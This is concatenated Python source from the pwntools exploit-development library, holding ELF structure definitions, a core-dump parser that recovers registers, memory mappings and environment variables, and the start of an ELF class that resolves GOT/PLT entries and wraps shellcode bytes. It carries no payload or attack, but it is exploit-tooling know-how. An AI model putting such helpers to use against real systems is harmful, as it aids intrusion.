#    notice, this list of conditions and the following disclaimer.
#  * Redistributions in binary form must reproduce the above
#    copyright notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
#  * Neither the name of the project nor the names of its
#    contributors may be used to endorse or promote products derived from
#    this software without specific prior written permission.
#
#  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
#  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
#  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
#  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
#  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
#  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
#  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
#  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
#  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
#  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
#  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import ctypes

Elf32_Addr = ctypes.c_uint32
Elf32_Half = ctypes.c_uint16
Elf32_Off = ctypes.c_uint32
Elf32_Sword = ctypes.c_int32
Elf32_Word = ctypes.c_uint32

Elf64_Addr = ctypes.c_uint64
Elf64_Half = ctypes.c_uint16
Elf64_SHalf = ctypes.c_int16
Elf64_Off = ctypes.c_uint64
Elf64_Sword = ctypes.c_int32
Elf64_Word = ctypes.c_uint32
Elf64_Xword = ctypes.c_uint64
Elf64_Sxword = ctypes.c_int64


AT_CONSTANTS = {
    0 : 'AT_NULL',      # /* End of vector */
    1 : 'AT_IGNORE',    # /* Entry should be ignored */
    2 : 'AT_EXECFD',    # /* File descriptor of program */
    3 : 'AT_PHDR',      # /* Program headers for program */
    4 : 'AT_PHENT',     # /* Size of program header entry */
    5 : 'AT_PHNUM',     # /* Number of program headers */
    6 : 'AT_PAGESZ',    # /* System page size */
    7 : 'AT_BASE',      # /* Base address of interpreter */
    8 : 'AT_FLAGS',     # /* Flags */
    9 : 'AT_ENTRY',     # /* Entry point of program */
    10: 'AT_NOTELF',    # /* Program is not ELF */
    11: 'AT_UID',       # /* Real uid */
    12: 'AT_EUID',      # /* Effective uid */
    13: 'AT_GID',       # /* Real gid */
    14: 'AT_EGID',      # /* Effective gid */
    15: 'AT_PLATFORM',  # /* String identifying platform */
    16: 'AT_HWCAP',     # /* Machine dependent hints about processor capabilities */
    17: 'AT_CLKTCK',    # /* Frequency of times() */
    18: 'AT_FPUCW',
    19: 'AT_DCACHEBSIZE',
    20: 'AT_ICACHEBSIZE',
    21: 'AT_UCACHEBSIZE',
    22: 'AT_IGNOREPPC',
    23: 'AT_SECURE',
    24: 'AT_BASE_PLATFORM', # String identifying real platforms
    25: 'AT_RANDOM',    # Address of 16 random bytes
    31: 'AT_EXECFN',    # Filename of executable
    32: 'AT_SYSINFO',
    33: 'AT_SYSINFO_EHDR',
    34: 'AT_L1I_CACHESHAPE',
    35: 'AT_L1D_CACHESHAPE',
    36: 'AT_L2_CACHESHAPE',
    37: 'AT_L3_CACHESHAPE',
}

class constants:
    EI_MAG0                 = 0
    EI_MAG1                 = 1
    EI_MAG2                 = 2
    EI_MAG3                 = 3
    EI_CLASS                = 4
    EI_DATA                 = 5
    EI_VERSION              = 6
    EI_OSABI                = 7
    EI_ABIVERSION           = 8
    EI_PAD                  = 9
    EI_NIDENT               = 16

    ELFMAG0                 = 0x7f
    ELFMAG1                 = ord('E')
    ELFMAG2                 = ord('L')
    ELFMAG3                 = ord('F')

    ELFCLASSNONE            = 0
    ELFCLASS32              = 1
    ELFCLASS64              = 2

    ELFDATANONE             = 0
    ELFDATA2LSB             = 1
    ELFDATA2MSB             = 2

    # Legal values for Elf_Phdr.p_type (segment type).
    PT_NULL                 = 0
    PT_LOAD                 = 1
    PT_DYNAMIC              = 2
    PT_INTERP               = 3
    PT_NOTE                 = 4
    PT_SHLIB                = 5
    PT_PHDR                 = 6
    PT_TLS                  = 7

    # Legal values for Elf_Ehdr.e_type (object file type).
    ET_NONE                 = 0
    ET_REL                  = 1
    ET_EXEC                 = 2
    ET_DYN                  = 3
    ET_CORE                 = 4

    # Legal values for Elf_Dyn.d_tag (dynamic entry type).
    DT_NULL                 = 0
    DT_NEEDED               = 1
    DT_PLTRELSZ             = 2
    DT_PLTGOT               = 3
    DT_HASH                 = 4
    DT_STRTAB               = 5
    DT_SYMTAB               = 6
    DT_RELA                 = 7
    DT_RELASZ               = 8
    DT_RELAENT              = 9
    DT_STRSZ                = 10
    DT_SYMENT               = 11
    DT_INIT                 = 12
    DT_FINI                 = 13
    DT_SONAME               = 14
    DT_RPATH                = 15
    DT_SYMBOLIC             = 16
    DT_REL                  = 17
    DT_RELSZ                = 18
    DT_RELENT               = 19
    DT_PLTREL               = 20
    DT_DEBUG                = 21
    DT_TEXTREL              = 22
    DT_JMPREL               = 23
    DT_ENCODING             = 32

    # Legal values for Elf_Shdr.sh_type (section type).
    SHT_NULL                = 0
    SHT_PROGBITS            = 1
    SHT_SYMTAB              = 2
    SHT_STRTAB              = 3
    SHT_RELA                = 4
    SHT_HASH                = 5
    SHT_DYNAMIC             = 6
    SHT_NOTE                = 7
    SHT_NOBITS              = 8
    SHT_REL                 = 9
    SHT_SHLIB               = 10
    SHT_DYNSYM              = 11
    SHT_NUM                 = 12

    # Legal values for ST_TYPE subfield of Elf_Sym.st_info (symbol type).
    STT_NOTYPE              = 0
    STT_OBJECT              = 1
    STT_FUNC                = 2
    STT_SECTION             = 3
    STT_FILE                = 4
    STT_COMMON              = 5
    STT_TLS                 = 6

    #
    # Notes used in ET_CORE. Architectures export some of the arch register sets
    # using the corresponding note types via the PTRACE_GETREGSET and
    # PTRACE_SETREGSET requests.
    #
    NT_PRSTATUS             = 1
    NT_PRFPREG              = 2
    NT_PRPSINFO             = 3
    NT_TASKSTRUCT           = 4
    NT_AUXV                 = 6
    #
    # Note to userspace developers: size of NT_SIGINFO note may increase
    # in the future to accomodate more fields, don't assume it is fixed!
    #
    NT_SIGINFO              = 0x53494749
    NT_FILE                 = 0x46494c45
    NT_PRXFPREG             = 0x46e62b7f
    NT_PPC_VMX              = 0x100
    NT_PPC_SPE              = 0x101
    NT_PPC_VSX              = 0x102
    NT_386_TLS              = 0x200
    NT_386_IOPERM           = 0x201
    NT_X86_XSTATE           = 0x202
    NT_S390_HIGH_GPRS       = 0x300
    NT_S390_TIMER           = 0x301
    NT_S390_TODCMP          = 0x302
    NT_S390_TODPREG         = 0x303
    NT_S390_CTRS            = 0x304
    NT_S390_PREFIX          = 0x305
    NT_S390_LAST_BREAK      = 0x306
    NT_S390_SYSTEM_CALL     = 0x307
    NT_S390_TDB             = 0x308
    NT_ARM_VFP              = 0x400
    NT_ARM_TLS              = 0x401
    NT_ARM_HW_BREAK         = 0x402
    NT_ARM_HW_WATCH         = 0x403
    NT_METAG_CBUF           = 0x500
    NT_METAG_RPIPE          = 0x501
    NT_METAG_TLS            = 0x502

    AT_NULL                 = 0
    AT_IGNORE               = 1
    AT_EXECFD               = 2
    AT_PHDR                 = 3
    AT_PHENT                = 4
    AT_PHNUM                = 5
    AT_PAGESZ               = 6
    AT_BASE                 = 7
    AT_FLAGS                = 8
    AT_ENTRY                = 9
    AT_NOTELF               = 10
    AT_UID                  = 11
    AT_EUID                 = 12
    AT_GID                  = 13
    AT_EGID                 = 14
    AT_PLATFORM             = 15
    AT_HWCAP                = 16
    AT_CLKTCK               = 17
    AT_FPUCW                = 18
    AT_DCACHEBSIZE          = 19
    AT_ICACHEBSIZE          = 20
    AT_UCACHEBSIZE          = 21
    AT_IGNOREPPC            = 22
    AT_SECURE               = 23
    AT_BASE_PLATFORM        = 24
    AT_RANDOM               = 25
    AT_EXECFN               = 31
    AT_SYSINFO              = 32
    AT_SYSINFO_EHDR         = 33
    AT_L1I_CACHESHAPE       = 34
    AT_L1D_CACHESHAPE       = 35
    AT_L2_CACHESHAPE        = 36
    AT_L3_CACHESHAPE        = 37



class Elf32_Ehdr(ctypes.Structure):
    _fields_ = [("e_ident", (ctypes.c_ubyte * 16)),
                ("e_type", Elf32_Half),
                ("e_machine", Elf32_Half),
                ("e_version", Elf32_Word),
                ("e_entry", Elf32_Addr),
                ("e_phoff", Elf32_Off),
                ("e_shoff", Elf32_Off),
                ("e_flags", Elf32_Word),
                ("e_ehsize", Elf32_Half),
                ("e_phentsize", Elf32_Half),
                ("e_phnum", Elf32_Half),
                ("e_shentsize", Elf32_Half),
                ("e_shnum", Elf32_Half),
                ("e_shstrndx", Elf32_Half),]

class Elf64_Ehdr(ctypes.Structure):
    _fields_ = [("e_ident", (ctypes.c_ubyte * 16)),
                ("e_type", Elf64_Half),
                ("e_machine", Elf64_Half),
                ("e_version", Elf64_Word),
                ("e_entry", Elf64_Addr),
                ("e_phoff", Elf64_Off),
                ("e_shoff", Elf64_Off),
                ("e_flags", Elf64_Word),
                ("e_ehsize", Elf64_Half),
                ("e_phentsize", Elf64_Half),
                ("e_phnum", Elf64_Half),
                ("e_shentsize", Elf64_Half),
                ("e_shnum", Elf64_Half),
                ("e_shstrndx", Elf64_Half),]

class Elf32_Phdr(ctypes.Structure):
    _fields_ = [("p_type", Elf32_Word),
                ("p_offset", Elf32_Off),
                ("p_vaddr", Elf32_Addr),
                ("p_paddr", Elf32_Addr),
                ("p_filesz", Elf32_Word),
                ("p_memsz", Elf32_Word),
                ("p_flags", Elf32_Word),
                ("p_align", Elf32_Word),]

class Elf64_Phdr(ctypes.Structure):
    _fields_ = [("p_type", Elf64_Word),
                ("p_flags", Elf64_Word),
                ("p_offset", Elf64_Off),
                ("p_vaddr", Elf64_Addr),
                ("p_paddr", Elf64_Addr),
                ("p_filesz", Elf64_Xword),
                ("p_memsz", Elf64_Xword),
                ("p_align", Elf64_Xword),]

class Elf32_Shdr(ctypes.Structure):
    _fields_ = [("sh_name", Elf32_Word),
                ("sh_type", Elf32_Word),
                ("sh_flags", Elf32_Word),
                ("sh_addr", Elf32_Addr),
                ("sh_offset", Elf32_Off),
                ("sh_size", Elf32_Word),
                ("sh_link", Elf32_Word),
                ("sh_info", Elf32_Word),
                ("sh_addralign", Elf32_Word),
                ("sh_entsize", Elf32_Word),]

class Elf64_Shdr(ctypes.Structure):
    _fields_ = [("sh_name", Elf64_Word),
                ("sh_type", Elf64_Word),
                ("sh_flags", Elf64_Xword),
                ("sh_addr", Elf64_Addr),
                ("sh_offset", Elf64_Off),
                ("sh_size", Elf64_Xword),
                ("sh_link", Elf64_Word),
                ("sh_info", Elf64_Word),
                ("sh_addralign", Elf64_Xword),
                ("sh_entsize", Elf64_Xword),]

class _U__Elf32_Dyn(ctypes.Union):
    _fields_ = [("d_val", Elf32_Sword),
                ("d_ptr", Elf32_Addr),]

class Elf32_Dyn(ctypes.Structure):
    _anonymous_ = ("d_un",)
    _fields_ = [("d_tag", Elf32_Sword),
                ("d_un", _U__Elf32_Dyn),]

class _U__Elf64_Dyn(ctypes.Union):
    _fields_ = [("d_val", Elf64_Xword),
                ("d_ptr", Elf64_Addr),]

class Elf64_Dyn(ctypes.Structure):
    _anonymous_ = ("d_un",)
    _fields_ = [("d_tag", Elf64_Sxword),
                ("d_un", _U__Elf64_Dyn),]

class Elf32_Sym(ctypes.Structure):
    _fields_ = [("st_name", Elf32_Word),
                ("st_value", Elf32_Addr),
                ("st_size", Elf32_Word),
                ("st_info", ctypes.c_ubyte),
                ("st_other", ctypes.c_ubyte),
                ("st_shndx", Elf32_Half),]

class Elf64_Sym(ctypes.Structure):
    _fields_ = [("st_name", Elf64_Word),
                ("st_info", ctypes.c_ubyte),
                ("st_other", ctypes.c_ubyte),
                ("st_shndx", Elf64_Half),
                ("st_value", Elf64_Addr),
                ("st_size", Elf64_Xword),]

class Elf32_Link_Map(ctypes.Structure):
    _fields_ = [("l_addr", Elf32_Addr),
                ("l_name", Elf32_Addr),
                ("l_ld", Elf32_Addr),
                ("l_next", Elf32_Addr),
                ("l_prev", Elf32_Addr),]

class Elf64_Link_Map(ctypes.Structure):
    _fields_ = [("l_addr", Elf64_Addr),
                ("l_name", Elf64_Addr),
                ("l_ld",   Elf64_Addr),
                ("l_next", Elf64_Addr),
                ("l_prev", Elf64_Addr),]


#
# Additions below here by Zach Riggle for pwntool
#
# See the routine elf_machine_runtime_setup for the relevant architecture
# for the layout of the GOT.
#
# https://chromium.googlesource.com/chromiumos/third_party/glibc/+/master/sysdeps/x86/dl-machine.h
# https://chromium.googlesource.com/chromiumos/third_party/glibc/+/master/sysdeps/x86_64/dl-machine.h
# https://fossies.org/dox/glibc-2.20/aarch64_2dl-machine_8h_source.html#l00074
# https://fossies.org/dox/glibc-2.20/powerpc32_2dl-machine_8c_source.html#l00203
#
# For now, these are defined for x86 and x64
#
char = ctypes.c_char
byte = ctypes.c_byte

class Elf_eident(ctypes.Structure):
    _fields_ = [('EI_MAG',char*4),
                ('EI_CLASS',byte),
                ('EI_DATA',byte),
                ('EI_VERSION',byte),
                ('EI_OSABI',byte),
                ('EI_ABIVERSION',byte),
                ('EI_PAD', byte*(16-9))]

class Elf_i386_GOT(ctypes.Structure):
    _fields_ = [("jmp", Elf32_Addr),
                ("linkmap", Elf32_Addr),
                ("dl_runtime_resolve", Elf32_Addr)]
class Elf_x86_64_GOT(ctypes.Structure):
    _fields_ = [("jmp", Elf64_Addr),
                ("linkmap", Elf64_Addr),
                ("dl_runtime_resolve", Elf64_Addr)]

class Elf_HashTable(ctypes.Structure):
    _fields_ = [('nbucket', Elf32_Word),
                ('nchain', Elf32_Word),]
              # ('bucket', nbucket * Elf32_Word),
              # ('chain',  nchain * Elf32_Word)]

# Docs: http://dyncall.org/svn/dyncall/tags/r0.4/dyncall/dynload/dynload_syms_elf.c
class GNU_HASH(ctypes.Structure):
    _fields_ = [('nbuckets',  Elf32_Word),
                ('symndx',    Elf32_Word),
                ('maskwords', Elf32_Word),
                ('shift2',    Elf32_Word)]

class Elf32_r_debug(ctypes.Structure):
    _fields_ = [('r_version', Elf32_Word),
                ('r_map', Elf32_Addr)]

class Elf64_r_debug(ctypes.Structure):
    _fields_ = [('r_version', Elf32_Word),
                ('r_map', Elf64_Addr)]

constants.DT_GNU_HASH = 0x6ffffef5
constants.STN_UNDEF   = 0

pid_t = ctypes.c_uint32

class elf_siginfo(ctypes.Structure):
    _fields_ = [('si_signo', ctypes.c_int32),
                ('si_code', ctypes.c_int32),
                ('si_errno', ctypes.c_int32)]

class timeval32(ctypes.Structure):
    _fields_ = [('tv_sec', ctypes.c_int32),
                ('tv_usec', ctypes.c_int32),]

class timeval64(ctypes.Structure):
    _fields_ = [('tv_sec', ctypes.c_int64),
                ('tv_usec', ctypes.c_int64),]

# See linux/elfcore.h
def generate_prstatus_common(size, regtype):
    c_long = ctypes.c_uint32 if size==32 else ctypes.c_uint64
    timeval = timeval32 if size==32 else timeval64

    return [('pr_info', elf_siginfo),
            ('pr_cursig', ctypes.c_int16),
            ('pr_sigpend', c_long),
            ('pr_sighold', c_long),
            ('pr_pid', pid_t),
            ('pr_ppid', pid_t),
            ('pr_pgrp', pid_t),
            ('pr_sid', pid_t),
            ('pr_utime', timeval),
            ('pr_stime', timeval),
            ('pr_cutime', timeval),
            ('pr_cstime', timeval),
            ('pr_reg', regtype),
            ('pr_fpvalid', ctypes.c_uint32)
            ]

# See i386-linux-gnu/sys/user.h
class user_regs_struct_i386(ctypes.Structure):
    _fields_ = [(name, ctypes.c_uint32) for name in [
                'ebx',
                'ecx',
                'edx',
                'esi',
                'edi',
                'ebp',
                'eax',
                'xds',
                'xes',
                'xfs',
                'xgs',
                'orig_eax',
                'eip',
                'xcs',
                'eflags',
                'esp',
                'xss',
                ]]


assert ctypes.sizeof(user_regs_struct_i386) == 0x44


# See i386-linux-gnu/sys/user.h
class user_regs_struct_amd64(ctypes.Structure):
    _fields_ = [(name, ctypes.c_uint64) for name in [
                'r15',
                'r14',
                'r13',
                'r12',
                'rbp',
                'rbx',
                'r11',
                'r10',
                'r9',
                'r8',
                'rax',
                'rcx',
                'rdx',
                'rsi',
                'rdi',
                'orig_rax',
                'rip',
                'cs',
                'eflags',
                'rsp',
                'ss',
                'fs_base',
                'gs_base',
                'ds',
                'es',
                'fs',
                'gs',
                ]]

assert ctypes.sizeof(user_regs_struct_amd64) == 0xd8

class elf_prstatus_i386(ctypes.Structure):
    _fields_ = generate_prstatus_common(32, user_regs_struct_i386)

assert ctypes.sizeof(elf_prstatus_i386) == 0x90

class elf_prstatus_amd64(ctypes.Structure):
    _fields_ = generate_prstatus_common(64, user_regs_struct_amd64)

assert ctypes.sizeof(elf_prstatus_amd64) == 0x150

class Elf32_auxv_t(ctypes.Structure):
    _fields_ = [('a_type', ctypes.c_uint32),
                ('a_val', ctypes.c_uint32),]
class Elf64_auxv_t(ctypes.Structure):
    _fields_ = [('a_type', ctypes.c_uint64),
                ('a_val', ctypes.c_uint64),]






import collections
import ctypes

import elftools
from elftools.common.py3compat import bytes2str
from elftools.common.utils import roundup
from elftools.common.utils import struct_parse
from elftools.construct import CString

from ..context import context
from ..log import getLogger
from ..tubes.tube import tube
from .datatypes import *
from .elf import ELF

log = getLogger(__name__)

types = {
    'i386': elf_prstatus_i386,
    'amd64': elf_prstatus_amd64,
}

# Slightly modified copy of the pyelftools version of the same function,
# until they fix this issue:
# https://github.com/eliben/pyelftools/issues/93
def iter_notes(self):
    """ Iterates the list of notes in the segment.
    """
    offset = self['p_offset']
    end = self['p_offset'] + self['p_filesz']
    while offset < end:
        note = struct_parse(
            self._elfstructs.Elf_Nhdr,
            self.stream,
            stream_pos=offset)
        note['n_offset'] = offset
        offset += self._elfstructs.Elf_Nhdr.sizeof()
        self.stream.seek(offset)
        # n_namesz is 4-byte aligned.
        disk_namesz = roundup(note['n_namesz'], 2)
        note['n_name'] = bytes2str(
            CString('').parse(self.stream.read(disk_namesz)))
        offset += disk_namesz

        desc_data = bytes2str(self.stream.read(note['n_descsz']))
        note['n_desc'] = desc_data
        offset += roundup(note['n_descsz'], 2)
        note['n_size'] = offset - note['n_offset']
        yield note

class Mapping(object):
    def __init__(self, core, name, start, stop, flags):
        self._core=core
        self.name=name
        self.start=start
        self.stop=stop
        self.size=stop-start
        self.flags=flags
    @property
    def permstr(self):
        flags = self.flags
        return ''.join(['r' if flags & 4 else '-',
                        'w' if flags & 2 else '-',
                        'x' if flags & 1 else '-',
                        'p'])
    def __str__(self):
        return '%x-%x %s %x %s' % (self.start,self.stop,self.permstr,self.size,self.name)

    def __repr__(self):
        return '%s(%r, %#x, %#x, %#x, %#x)' % (self.__class__.__name__,
                                               self.name,
                                               self.start,
                                               self.stop,
                                               self.size,
                                               self.flags)

    def __int__(self):
        return self.start

    @property
    def data(self):
        return self._core.read(self.start, self.size)

class Core(ELF):
    """Core(*a, **kw) -> Core

    Enhances the inforation available about a corefile (which is an extension
    of the ELF format) by permitting extraction of information about the mapped
    data segments, and register state.

    Registers can be accessed directly, e.g. via ``core_obj.eax``.

    Mappings can be iterated in order via ``core_obj.mappings``.
    """
    def __init__(self, *a, **kw):
        #: The NT_PRSTATUS object.
        self.prstatus = None

        #: Dictionary of memory mappings from {address:name}
        self.mappings = []

        #: Address of the stack base
        self.stack    = None

        #: Environment variables read from the stack {name:address}.
        #: N.B. Use with the ``string`` method to extract them.
        self.env      = {}

        try:
            super(Core, self).__init__(*a, **kw)
        except IOError:
            log.warning("No corefile.  Have you set /proc/sys/kernel/core_pattern?")
            raise

        self.load_addr = 0
        self._address  = 0

        if not self.elftype == 'CORE':
            log.error("%s is not a valid corefile" % e.file.name)

        if not self.arch in ('i386','amd64'):
            log.error("%s does not use a supported corefile architecture" % e.file.name)

        prstatus_type = types[self.arch]

        with log.waitfor("Parsing corefile...") as w:
            self._load_mappings()

            for segment in self.segments:
                if not isinstance(segment, elftools.elf.segments.NoteSegment):
                    continue
                for note in iter_notes(segment):
                    # Try to find NT_PRSTATUS.  Note that pyelftools currently
                    # mis-identifies the enum name as 'NT_GNU_ABI_TAG'.
                    if note.n_descsz == ctypes.sizeof(prstatus_type) and \
                       note.n_type == 'NT_GNU_ABI_TAG':
                        self.NT_PRSTATUS = note
                        self.prstatus = prstatus_type.from_buffer_copy(note.n_desc)

                    # Try to find the list of mapped files
                    if note.n_type == constants.NT_FILE:
                        with context.local(bytes=self.bytes):
                            self._parse_nt_file(note)

                    # Try to find the auxiliary vector, which will tell us
                    # where the top of the stack is.
                    if note.n_type == constants.NT_AUXV:
                        with context.local(bytes=self.bytes):
                            self._parse_auxv(note)

            if self.stack and self.mappings:
                for mapping in self.mappings:
                    if mapping.stop == self.stack:
                        mapping.name = '[stack]'
                        self.stack   = mapping

            with context.local(bytes=self.bytes, log_level='error'):
                try:
                    self._parse_stack()
                except ValueError:
                    # If there are no environment variables, we die by running
                    # off the end of the stack.
                    pass

    def _parse_nt_file(self, note):
        t = tube()
        t.unrecv(note.n_desc)

        count = t.unpack()
        page_size = t.unpack()

        starts = []
        addresses = {}

        for i in range(count):
            start = t.unpack()
            end = t.unpack()
            ofs = t.unpack()
            starts.append(start)

        for i in range(count):
            filename = t.recvuntil('\x00', drop=True)
            start = starts[i]

            for mapping in self.mappings:
                if mapping.start == start:
                    mapping.name = filename

        self.mappings = sorted(self.mappings, key=lambda m: m.start)

        vvar = vdso = vsyscall = False
        for mapping in reversed(self.mappings):
            if mapping.name:
                continue

            if not vsyscall and mapping.start == 0xffffffffff600000:
                mapping.name = '[vsyscall]'
                vsyscall = True
                continue

            if mapping.start == self.at_sysinfo_ehdr \
            or (not vdso and mapping.size in [0x1000, 0x2000] \
                and mapping.flags == 5 \
                and self.read(mapping.start, 4) == '\x7fELF'):
                mapping.name = '[vdso]'
                vdso = True
                continue

            if not vvar and mapping.size == 0x2000 and mapping.flags == 4:
                mapping.name = '[vvar]'
                vvar = True
                continue

    @property
    def vvar(self):
        """Return the mapping for the vvar"""
        for m in self.mappings:
            if m.name == '[vvar]':
                return m

    @property
    def vdso(self):
        """Return the mapping for the vdso"""
        for m in self.mappings:
            if m.name == '[vdso]':
                return m

    @property
    def vsyscall(self):
        """Return the mapping for the vdso"""
        for m in self.mappings:
            if m.name == '[vsyscall]':
                return m

    @property
    def libc(self):
        """Return the first mapping in libc"""
        for m in self.mappings:
            if m.name.startswith('libc') and m.name.endswith('.so'):
                return m

    @property
    def exe(self):
        """Return the first mapping in the executable file."""
        for m in self.mappings:
            if self.at_entry and m.start <= self.at_entry <= m.stop:
                return m

    def _load_mappings(self):
        for s in self.segments:
            if s.header.p_type != 'PT_LOAD':
                continue

            mapping = Mapping(self,
                              None,
                              s.header.p_vaddr,
                              s.header.p_vaddr + s.header.p_memsz,
                              s.header.p_flags)
            self.mappings.append(mapping)

    def _parse_auxv(self, note):
        t = tube()
        t.unrecv(note.n_desc)

        for i in range(0, note.n_descsz, context.bytes * 2):
            key = t.unpack()
            value = t.unpack()

            # The AT_EXECFN entry is a pointer to the executable's filename
            # at the very top of the stack, followed by a word's with of
            # NULL bytes.  For example, on a 64-bit system...
            #
            # 0x7fffffffefe8  53 3d 31 34  33 00 2f 62  69 6e 2f 62  61 73 68 00  |S=14|3./b|in/b|ash.|
            # 0x7fffffffeff8  00 00 00 00  00 00 00 00                            |....|....|    |    |

            if key == constants.AT_EXECFN:
                self.at_execfn = value
                value = value & ~0xfff
                value += 0x1000
                self.stack = value

            if key == constants.AT_ENTRY:
                self.at_entry = value

            if key == constants.AT_PHDR:
                self.at_phdr = value

            if key == constants.AT_BASE:
                self.at_base = value

            if key == constants.AT_SYSINFO_EHDR:
                self.at_sysinfo_ehdr = value

    def _parse_stack(self):
        # AT_EXECFN is the start of the filename, e.g. '/bin/sh'
        # Immediately preceding is a NULL-terminated environment variable string.
        # We want to find the beginning of it
        address = self.at_execfn-1

        # Sanity check!
        try:
            assert self.u8(address) == 0
        except AssertionError:
            # Something weird is happening.  Just don't touch it.
            return
        except ValueError:
            # If the stack is not actually present in the coredump, we can't
            # read from the stack.  This will fail as:
            # ValueError: 'seek out of range'
            return

        # Find the next NULL, which is 1 byte past the environment variable.
        while self.u8(address-1) != 0:
            address -= 1

        # We've found the beginning of the last environment variable.
        # We should be able to search up the stack for the envp[] array to
        # find a pointer to this address, followed by a NULL.
        last_env_addr = address
        address &= ~(context.bytes-1)

        while self.unpack(address) != last_env_addr:
            address -= context.bytes

        assert self.unpack(address+context.bytes) == 0

        # We've successfully located the end of the envp[] array.
        # It comes immediately after the argv[] array, which itself
        # is NULL-terminated.
        end_of_envp = address+context.bytes

        while self.unpack(address - context.bytes) != 0:
            address -= context.bytes

        start_of_envp = address

        # Now we can fill in the environment easier.
        for env in range(start_of_envp, end_of_envp, context.bytes):
            envaddr = self.unpack(env)
            value   = self.string(envaddr)
            name, value = value.split('=', 1)
            self.env[name] = envaddr + len(name) + 1

    @property
    def maps(self):
        """A printable string which is similar to /proc/xx/maps."""
        return '\n'.join(map(str, self.mappings))

    def getenv(self, name):
        """getenv(name) -> int

        Read an environment variable off the stack, and return its address.

        Arguments:
            name(str): Name of the environment variable to read.

        Returns:
            The address of the environment variable.
        """
        if name not in self.env:
            log.error("Environment variable %r not set" % name)

        return self.string(self.env[name]).split('=',1)[-1]

    def __getattr__(self, attribute):
        if self.prstatus:
            if hasattr(self.prstatus, attribute):
                return getattr(self.prstatus, attribute)

            if hasattr(self.prstatus.pr_reg, attribute):
                return getattr(self.prstatus.pr_reg, attribute)

        return super(Core, self).__getattribute__(attribute)






from .corefile import Core
from .datatypes import *
from .elf import ELF
from .elf import load

__all__ = ['load', 'ELF', 'Core'] + sorted(filter(lambda x: not x.startswith('_'), datatypes.__dict__.keys()))






"""Exposes functionality for manipulating ELF files
"""
import mmap
import os
import subprocess
from collections import namedtuple

from elftools.elf.constants import E_FLAGS
from elftools.elf.constants import P_FLAGS
from elftools.elf.constants import SHN_INDICES
from elftools.elf.descriptions import describe_e_type
from elftools.elf.elffile import ELFFile
from elftools.elf.gnuversions import GNUVerDefSection
from elftools.elf.relocation import RelocationSection
from elftools.elf.sections import SymbolTableSection

from .. import adb
from ..asm import *
from ..context import LocalContext
from ..context import context
from ..log import getLogger
from ..qemu import get_qemu_arch
from ..term import text
from ..tubes.process import process
from ..util import misc
from ..util import packing

log = getLogger(__name__)

__all__ = ['load', 'ELF']

Function = namedtuple('Function', 'address size')

def load(*args, **kwargs):
    """Compatibility wrapper for pwntools v1"""
    return ELF(*args, **kwargs)

class dotdict(dict):
    def __getattr__(self, name):
        return self[name]

class ELF(ELFFile):
    """Encapsulates information about an ELF file.

    :ivar path: Path to the binary on disk
    :ivar symbols:  Dictionary of {name: address} for all symbols in the ELF
    :ivar plt:      Dictionary of {name: address} for all functions in the PLT
    :ivar got:      Dictionary of {name: address} for all function pointers in the GOT
    :ivar libs:     Dictionary of {path: address} for each shared object required to load the ELF

    Example:

        .. code-block:: python

           bash = ELF(which('bash'))
           hex(bash.symbols['read'])
           # 0x41dac0
           hex(bash.plt['read'])
           # 0x41dac0
           u32(bash.read(bash.got['read'], 4))
           # 0x41dac6
           print disasm(bash.read(bash.plt['read'],16), arch='amd64')
           # 0:   ff 25 1a 18 2d 00       jmp    QWORD PTR [rip+0x2d181a]        # 0x2d1820
           # 6:   68 59 00 00 00          push   0x59
           # b:   e9 50 fa ff ff          jmp    0xfffffffffffffa60
    """
    def __init__(self, path):
        # elftools uses the backing file for all reads and writes
        # in order to permit writing without being able to write to disk,
        # mmap() the file.
        self.file = open(path,'rb')
        self.mmap = mmap.mmap(self.file.fileno(), 0, access=mmap.ACCESS_COPY)

        super(ELF,self).__init__(self.mmap)

        #: Path to the file
        self.path = os.path.abspath(path)
        #: Architecture of the file
        self.arch = self.get_machine_arch().lower()

        #: Endianness of the file
        self.endian = {
            'ELFDATANONE': 'little',
            'ELFDATA2LSB': 'little',
            'ELFDATA2MSB': 'big'
        }[self['e_ident']['EI_DATA']]

        #: Bit-ness of the file
        self.bits = self.elfclass
        self.bytes = self.bits / 8

        if self.arch == 'mips':
            if self.header['e_flags'] & E_FLAGS.EF_MIPS_ARCH_64 \
            or self.header['e_flags'] & E_FLAGS.EF_MIPS_ARCH_64R2:
                self.arch = 'mips64'
                self.bits = 64

        if self.elftype == 'DYN':
            self._address = 0
        else:
            self._address = min(filter(bool, (s.header.p_vaddr for s in self.segments)))
        self.load_addr = self._address

        self._populate_got_plt()
        self._populate_symbols()
        self._populate_libraries()
        self._populate_functions()

        self._describe()

    @staticmethod
    @LocalContext
    def from_assembly(assembly, *a, **kw):
        """Given an assembly listing, return a fully loaded ELF object
        which contains that assembly at its entry point.

        Arguments:

            assembly(str): Assembly language listing
            vma(int): Address of the entry point and the module's base address.

        Example:

            >>> e = ELF.from_assembly('nop; foo: int 0x80', vma = 0x400000)
            >>> e.symbols['foo'] = 0x400001
            >>> e.disasm(e.entry, 1)
            '  400000:       90                      nop'
            >>> e.disasm(e.symbols['foo'], 2)
            '  400001:       cd 80                   int    0x80'
        """
        return ELF(make_elf_from_assembly(assembly, *a, **kw))

    @staticmethod
    @LocalContext
    def from_bytes(bytes, *a, **kw):
        r"""Given a sequence of bytes, return a fully loaded ELF object
        which contains those bytes at its entry point.

        Arguments:

            bytes(str): Shellcode byte string
            vma(int): Desired base address for the ELF.

        Example:

            >>> e = ELF.from_bytes('\x90\xcd\x80', vma=0xc000)
